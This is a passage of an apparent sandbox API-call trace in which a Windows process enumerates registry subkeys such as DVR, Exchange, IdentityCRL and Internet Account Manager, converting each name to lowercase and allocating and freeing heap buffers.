[0257.477] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55bbb8) returned 1 [0257.477] RegEnumKeyW (in: hKey=0x38, dwIndex=0x1b, lpName=0x55b930, cchName=0x104 | out: lpName="DVR") returned 0x0 [0257.477] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x80) returned 0x55bbb8 [0257.477] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dvr", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0257.477] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55c0d8 [0257.477] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dvr", cchWideChar=3, lpMultiByteStr=0x55c0d8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dvr", lpUsedDefaultChar=0x0) returned 3 [0257.477] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55c120 [0257.478] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55c0d8) returned 1 [0257.478] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55c120) returned 1 [0257.478] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55bbb8) returned 1 [0257.478] RegEnumKeyW (in: hKey=0x38, dwIndex=0x1c, lpName=0x55b930, cchName=0x104 | out: lpName="DXP") returned 0x0 [0257.478] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x80) returned 0x55bbb8 [0257.478] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dxp", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0257.478] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55c120 [0257.478] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dxp", cchWideChar=3, lpMultiByteStr=0x55c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dxp", lpUsedDefaultChar=0x0) returned 3 [0257.478] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55c0d8 [0257.478] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55c120) returned 1 [0257.478] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55c0d8) returned 1 [0257.478] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55bbb8) returned 1 [0257.478] RegEnumKeyW (in: hKey=0x38, dwIndex=0x1d, lpName=0x55b930, cchName=0x104 | out: lpName="EnterpriseCertificates") returned 0x0 [0257.478] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x80) returned 0x55bbb8 [0257.478] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enterprisecertificates", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0257.478] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55c0d8 [0257.478] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enterprisecertificates", cchWideChar=22, lpMultiByteStr=0x55c0d8, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="enterprisecertificates", lpUsedDefaultChar=0x0) returned 22 [0257.478] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55c120 [0257.478] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55c0d8) returned 1 [0257.478] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55c120) returned 1 [0257.478] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55bbb8) returned 1 [0257.478] RegEnumKeyW (in: hKey=0x38, dwIndex=0x1e, lpName=0x55b930, cchName=0x104 | out: lpName="EventSystem") returned 0x0 [0257.478] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x80) returned 0x55bbb8 [0257.478] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventsystem", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0257.478] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55c120 [0257.478] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventsystem", cchWideChar=11, lpMultiByteStr=0x55c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eventsystem", lpUsedDefaultChar=0x0) returned 11 [0257.478] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55c0d8 [0257.478] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55c120) returned 1 [0257.478] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55c0d8) returned 1 [0257.478] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55bbb8) returned 1 [0257.478] RegEnumKeyW (in: hKey=0x38, dwIndex=0x1f, lpName=0x55b930, cchName=0x104 | out: lpName="Exchange") returned 0x0 [0257.478] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x80) returned 0x55bbb8 [0257.479] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="exchange", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0257.479] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55c0d8 [0257.479] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="exchange", cchWideChar=8, lpMultiByteStr=0x55c0d8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="exchange", lpUsedDefaultChar=0x0) returned 8 [0257.479] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55c120 [0257.479] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55c0d8) returned 1 [0257.479] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55c120) returned 1 [0257.479] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55bbb8) returned 1 [0257.479] RegEnumKeyW (in: hKey=0x38, dwIndex=0x20, lpName=0x55b930, cchName=0x104 | out: lpName="Fax") returned 0x0 [0257.479] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x80) returned 0x55bbb8 [0257.479] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fax", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0257.479] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55c120 [0257.479] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fax", cchWideChar=3, lpMultiByteStr=0x55c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fax", lpUsedDefaultChar=0x0) returned 3 [0257.479] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55c0d8 [0257.479] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55c120) returned 1 [0257.479] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55c0d8) returned 1 [0257.479] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55bbb8) returned 1 [0257.479] RegEnumKeyW (in: hKey=0x38, dwIndex=0x21, lpName=0x55b930, cchName=0x104 | out: lpName="Feeds") returned 0x0 [0257.479] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x80) returned 0x55bbb8 [0257.479] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="feeds", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0257.479] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55c0d8 [0257.479] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="feeds", cchWideChar=5, lpMultiByteStr=0x55c0d8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="feeds", lpUsedDefaultChar=0x0) returned 5 [0257.479] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55c120 [0257.479] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55c0d8) returned 1 [0257.479] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55c120) returned 1 [0257.479] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55bbb8) returned 1 [0257.479] RegEnumKeyW (in: hKey=0x38, dwIndex=0x22, lpName=0x55b930, cchName=0x104 | out: lpName="FlashConfig") returned 0x0 [0257.479] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x80) returned 0x55bbb8 [0257.479] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="flashconfig", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0257.479] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55c120 [0257.479] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="flashconfig", cchWideChar=11, lpMultiByteStr=0x55c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="flashconfig", lpUsedDefaultChar=0x0) returned 11 [0257.479] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55c0d8 [0257.479] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55c120) returned 1 [0257.479] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55c0d8) returned 1 [0257.480] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55bbb8) returned 1 [0257.480] RegEnumKeyW (in: hKey=0x38, dwIndex=0x23, lpName=0x55b930, cchName=0x104 | out: lpName="FTH") returned 0x0 [0257.480] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x80) returned 0x55bbb8 [0257.480] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fth", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0257.480] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55c0d8 [0257.480] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fth", cchWideChar=3, lpMultiByteStr=0x55c0d8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fth", lpUsedDefaultChar=0x0) returned 3 [0257.480] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55c120 [0257.480] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55c0d8) returned 1 [0257.480] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55c120) returned 1 [0257.480] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55bbb8) returned 1 [0257.480] RegEnumKeyW (in: hKey=0x38, dwIndex=0x24, lpName=0x55b930, cchName=0x104 | out: lpName="Function Discovery") returned 0x0 [0257.480] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x80) returned 0x55bbb8 [0257.480] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="function discovery", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0257.480] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55c120 [0257.480] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="function discovery", cchWideChar=18, lpMultiByteStr=0x55c120, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="function discovery", lpUsedDefaultChar=0x0) returned 18 [0257.480] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55c0d8 [0257.480] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55c120) returned 1 [0257.480] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55c0d8) returned 1 [0257.480] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55bbb8) returned 1 [0257.480] RegEnumKeyW (in: hKey=0x38, dwIndex=0x25, lpName=0x55b930, cchName=0x104 | out: lpName="Fusion") returned 0x0 [0257.480] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x80) returned 0x55bbb8 [0257.480] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fusion", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0257.480] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55c0d8 [0257.480] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fusion", cchWideChar=6, lpMultiByteStr=0x55c0d8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fusion", lpUsedDefaultChar=0x0) returned 6 [0257.480] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55c120 [0257.480] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55c0d8) returned 1 [0257.480] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55c120) returned 1 [0257.480] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55bbb8) returned 1 [0257.480] RegEnumKeyW (in: hKey=0x38, dwIndex=0x26, lpName=0x55b930, cchName=0x104 | out: lpName="GPUPipeline") returned 0x0 [0257.480] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x80) returned 0x55bbb8 [0257.480] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gpupipeline", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0257.480] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55c120 [0257.480] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gpupipeline", cchWideChar=11, lpMultiByteStr=0x55c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gpupipeline", lpUsedDefaultChar=0x0) returned 11 [0257.481] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55c0d8 [0257.481] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55c120) returned 1 [0257.481] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55c0d8) returned 1 [0257.481] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55bbb8) returned 1 [0257.481] RegEnumKeyW (in: hKey=0x38, dwIndex=0x27, lpName=0x55b930, cchName=0x104 | out: lpName="HTMLHelp") returned 0x0 [0257.481] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x80) returned 0x55bbb8 [0257.481] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="htmlhelp", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0257.481] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55c0d8 [0257.481] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="htmlhelp", cchWideChar=8, lpMultiByteStr=0x55c0d8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="htmlhelp", lpUsedDefaultChar=0x0) returned 8 [0257.481] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55c120 [0257.481] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55c0d8) returned 1 [0257.481] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55c120) returned 1 [0257.481] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55bbb8) returned 1 [0257.481] RegEnumKeyW (in: hKey=0x38, dwIndex=0x28, lpName=0x55b930, cchName=0x104 | out: lpName="IdentityCRL") returned 0x0 [0257.481] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x80) returned 0x55bbb8 [0257.481] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="identitycrl", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0257.481] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55c120 [0257.481] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="identitycrl", cchWideChar=11, lpMultiByteStr=0x55c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="identitycrl", lpUsedDefaultChar=0x0) returned 11 [0257.481] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55c0d8 [0257.481] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55c120) returned 1 [0257.481] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55c0d8) returned 1 [0257.481] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55bbb8) returned 1 [0257.481] RegEnumKeyW (in: hKey=0x38, dwIndex=0x29, lpName=0x55b930, cchName=0x104 | out: lpName="IdentityStore") returned 0x0 [0257.481] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x80) returned 0x55bbb8 [0257.481] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="identitystore", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0257.481] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55c0d8 [0257.481] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="identitystore", cchWideChar=13, lpMultiByteStr=0x55c0d8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="identitystore", lpUsedDefaultChar=0x0) returned 13 [0257.481] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55c120 [0257.481] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55c0d8) returned 1 [0257.481] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55c120) returned 1 [0257.481] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55bbb8) returned 1 [0257.481] RegEnumKeyW (in: hKey=0x38, dwIndex=0x2a, lpName=0x55b930, cchName=0x104 | out: lpName="IMAPI") returned 0x0 [0257.482] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x80) returned 0x55bbb8 [0257.482] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imapi", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0257.482] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55c120 [0257.482] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imapi", cchWideChar=5, lpMultiByteStr=0x55c120, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="imapi", lpUsedDefaultChar=0x0) returned 5 [0257.482] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55c0d8 [0257.482] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55c120) returned 1 [0257.482] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55c0d8) returned 1 [0257.482] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55bbb8) returned 1 [0257.482] RegEnumKeyW (in: hKey=0x38, dwIndex=0x2b, lpName=0x55b930, cchName=0x104 | out: lpName="IMEJP") returned 0x0 [0257.482] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x80) returned 0x55bbb8 [0257.482] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imejp", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0257.482] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55c0d8 [0257.482] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imejp", cchWideChar=5, lpMultiByteStr=0x55c0d8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="imejp", lpUsedDefaultChar=0x0) returned 5 [0257.482] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55c120 [0257.482] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55c0d8) returned 1 [0257.482] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55c120) returned 1 [0257.482] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55bbb8) returned 1 [0257.482] RegEnumKeyW (in: hKey=0x38, dwIndex=0x2c, lpName=0x55b930, cchName=0x104 | out: lpName="IMEKR") returned 0x0 [0257.482] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x80) returned 0x55bbb8 [0257.482] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imekr", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0257.482] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55c120 [0257.482] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imekr", cchWideChar=5, lpMultiByteStr=0x55c120, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="imekr", lpUsedDefaultChar=0x0) returned 5 [0257.482] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55c0d8 [0257.482] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55c120) returned 1 [0257.482] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55c0d8) returned 1 [0257.482] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55bbb8) returned 1 [0257.482] RegEnumKeyW (in: hKey=0x38, dwIndex=0x2d, lpName=0x55b930, cchName=0x104 | out: lpName="IMETC") returned 0x0 [0257.482] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x80) returned 0x55bbb8 [0257.482] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imetc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0257.482] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55c0d8 [0257.482] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imetc", cchWideChar=5, lpMultiByteStr=0x55c0d8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="imetc", lpUsedDefaultChar=0x0) returned 5 [0257.482] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55c120 [0257.483] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55c0d8) returned 1 [0257.483] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55c120) returned 1 [0257.483] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55bbb8) returned 1 [0257.483] RegEnumKeyW (in: hKey=0x38, dwIndex=0x2e, lpName=0x55b930, cchName=0x104 | out: lpName="Internet Account Manager") returned 0x0 [0257.483] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x80) returned 0x55bbb8 [0257.483] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet account manager", cchWideChar=24, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0257.483] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55c120 [0257.483] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet account manager", cchWideChar=24, lpMultiByteStr=0x55c120, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="internet account manager", lpUsedDefaultChar=0x0) returned 24 [0257.483] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55c0d8 [0257.483] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55c120) returned 1 [0257.483] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55c0d8) returned 1 [0257.483] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55bbb8) returned 1 [0257.483] RegEnumKeyW (in: hKey=0x38, dwIndex=0x2f, lpName=0x55b930, cchName=0x104 | out: lpName="Internet Domains") returned 0x0 [0257.483] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x80) returned 0x55bbb8 [0257.483] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet domains", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0257.483] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55c0d8 [0257.483] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet domains", cchWideChar=16, lpMultiByteStr=0x55c0d8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="internet domains", lpUsedDefaultChar=0x0) returned 16 [0257.483] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55c120 [0257.483] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55c0d8) returned 1 [0257.483] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55c120) returned 1 [0257.483] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55bbb8) returned 